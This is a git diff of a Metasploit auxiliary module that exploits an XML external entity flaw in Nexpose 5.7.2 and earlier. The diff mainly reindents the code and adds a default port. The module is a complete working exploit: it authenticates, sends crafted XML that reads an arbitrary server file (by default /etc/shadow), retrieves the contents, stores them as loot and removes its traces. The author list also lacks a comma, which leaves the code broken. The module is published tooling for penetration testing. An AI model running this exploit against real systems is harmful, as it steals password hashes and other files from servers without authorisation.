diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb
index 78b6971587..e0be4a3c21 100644
--- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb
+++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb
@@ -10,124 +10,125 @@ require 'rapid7/nexpose'
 
 class Metasploit4 < Msf::Auxiliary
 
-	include Msf::Exploit::Remote::HttpClient
-	include Msf::Auxiliary::Report
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
 
-	def initialize(info = {})
-		super(update_info(info,
-			'Name' => 'Nexpose XXE Arbitrary File Read',
-			'Description' => %q{
-				Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number
-				of vectors. This vulnerability can allow an attacker to a craft special XML that
-				could read arbitrary files from the filesystem. This module exploits the
-				vulnerability via the XML API.
-			},
-			'Author' =>
-				[
-					'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module
-					'Drazen Popovic <drazen.popvic[at]infigo.hr>'   # Independent discovery, alternate vector
-					'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>',     # Independently reported
-				],
-			'License' => MSF_LICENSE,
-			'References'  =>
-				[
-					[ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ],
-					# Fill this in with the direct advisory URL from Infigo
-					[ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ]
-				]
-		))
+  def initialize(info = {})
+    super(update_info(info,
+      'Name' => 'Nexpose XXE Arbitrary File Read',
+      'Description' => %q{
+        Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number
+        of vectors. This vulnerability can allow an attacker to a craft special XML that
+        could read arbitrary files from the filesystem. This module exploits the
+        vulnerability via the XML API.
+      },
+      'Author' =>
+        [
+          'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module
+          'Drazen Popovic <drazen.popvic[at]infigo.hr>'   # Independent discovery, alternate vector
+          'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>',     # Independently reported
+        ],
+      'License' => MSF_LICENSE,
+      'References'  =>
+        [
+          [ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ],
+          # Fill this in with the direct advisory URL from Infigo
+          [ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ]
+        ]
+    ))
 
-		register_options(
-			[
-				OptString.new('USERNAME', [true, "The Nexpose user", "user"]),
-				OptString.new('PASSWORD', [true, "The Nexpose password", "pass"]),
-				OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),
-				OptBool.new('SSL', [true, 'Use SSL', true])
-			], self.class)
-	end
+    register_options(
+      [
+        Opt::RPORT(3780),
+        OptString.new('USERNAME', [true, "The Nexpose user", "user"]),
+        OptString.new('PASSWORD', [true, "The Nexpose password", "pass"]),
+        OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),
+        OptBool.new('SSL', [true, 'Use SSL', true])
+      ], self.class)
+  end
 
-	def run
-		user = datastore['USERNAME']
-		pass = datastore['PASSWORD']
-		prot = datastore['SSL'] ? 'https' : 'http'
+  def run
+    user = datastore['USERNAME']
+    pass = datastore['PASSWORD']
+    prot = datastore['SSL'] ? 'https' : 'http'
 
-		nsc = Nexpose::Connection.new(rhost, user, pass, rport)
+    nsc = Nexpose::Connection.new(rhost, user, pass, rport)
 
-		print_status("Authenticating as: " << user)
-		begin
-			nsc.login
-			report_auth_info(
-				:host   => rhost,
-				:port   => rport,
-				:sname  => prot,
-				:user   => user,
-				:pass   => pass,
-				:proof  => '',
-				:active => true
-			)
+    print_status("Authenticating as: " << user)
+    begin
+      nsc.login
+      report_auth_info(
+        :host   => rhost,
+        :port   => rport,
+        :sname  => prot,
+        :user   => user,
+        :pass   => pass,
+        :proof  => '',
+        :active => true
+      )
 
-		rescue
-			print_error("Error authenticating, check your credentials")
-			return
-		end
+    rescue
+      print_error("Error authenticating, check your credentials")
+      return
+    end
 
-		xml = '<!DOCTYPE foo ['
-		xml << '<!ELEMENT host ANY>'
-		xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">'
-		xml << ']>'
-		xml << '<SiteSaveRequest session-id="'
+    xml = '<!DOCTYPE foo ['
+    xml << '<!ELEMENT host ANY>'
+    xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">'
+    xml << ']>'
+    xml << '<SiteSaveRequest session-id="'
 
-		xml << nsc.session_id
+    xml << nsc.session_id
 
-		xml << '">'
-		xml << '<Site id="-1" name="fdsa" description="fdfdsa">'
-		xml << '<Hosts>'
-		xml << '<host>&xxe;</host>'
-		xml << '</Hosts>'
-		xml << '<Credentials />'
-		xml << '<Alerting />'
-		xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />'
-		xml << '</Site>'
-		xml << '</SiteSaveRequest>'
+    xml << '">'
+    xml << '<Site id="-1" name="fdsa" description="fdfdsa">'
+    xml << '<Hosts>'
+    xml << '<host>&xxe;</host>'
+    xml << '</Hosts>'
+    xml << '<Credentials />'
+    xml << '<Alerting />'
+    xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />'
+    xml << '</Site>'
+    xml << '</SiteSaveRequest>'
 
-		print_status("Sending payload")
-		begin
-			fsa = nsc.execute(xml)
-		rescue
-			print_error("Error executing API call for site creation, ensure the filepath is correct")
-			return
-		end
+    print_status("Sending payload")
+    begin
+      fsa = nsc.execute(xml)
+    rescue
+      print_error("Error executing API call for site creation, ensure the filepath is correct")
+      return
+    end
 
-		doc = REXML::Document.new fsa.raw_response_data
-		id = doc.root.attributes["site-id"]
+    doc = REXML::Document.new fsa.raw_response_data
+    id = doc.root.attributes["site-id"]
 
-		xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />"
+    xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />"
 
-		print_status("Retrieving file")
-		begin
-			fsa = nsc.execute(xml)
-		rescue
-			nsc.site_delete id
-			print_error("Error retrieving the file.")
-			return
-		end
+    print_status("Retrieving file")
+    begin
+      fsa = nsc.execute(xml)
+    rescue
+      nsc.site_delete id
+      print_error("Error retrieving the file.")
+      return
+    end
 
-		doc = REXML::Document.new fsa.raw_response_data
+    doc = REXML::Document.new fsa.raw_response_data
 
-		print_status("Cleaning up")
-		begin
-			nsc.site_delete id
-		rescue
-			print_error("Error while cleaning up site")
-			return
-		end
+    print_status("Cleaning up")
+    begin
+      nsc.site_delete id
+    rescue
+      print_error("Error while cleaning up site")
+      return
+    end
 
-		if !doc.root.elements["//host"]
-			print_error("No file returned. Either the server is patched or the file did not exist.")
-			return
-		end
+    if !doc.root.elements["//host"]
+      print_error("No file returned. Either the server is patched or the file did not exist.")
+      return
+    end
 
-		path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}")
-		print_good("File saved to path: " << path)
-	end
+    path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}")
+    print_good("File saved to path: " << path)
+  end
 end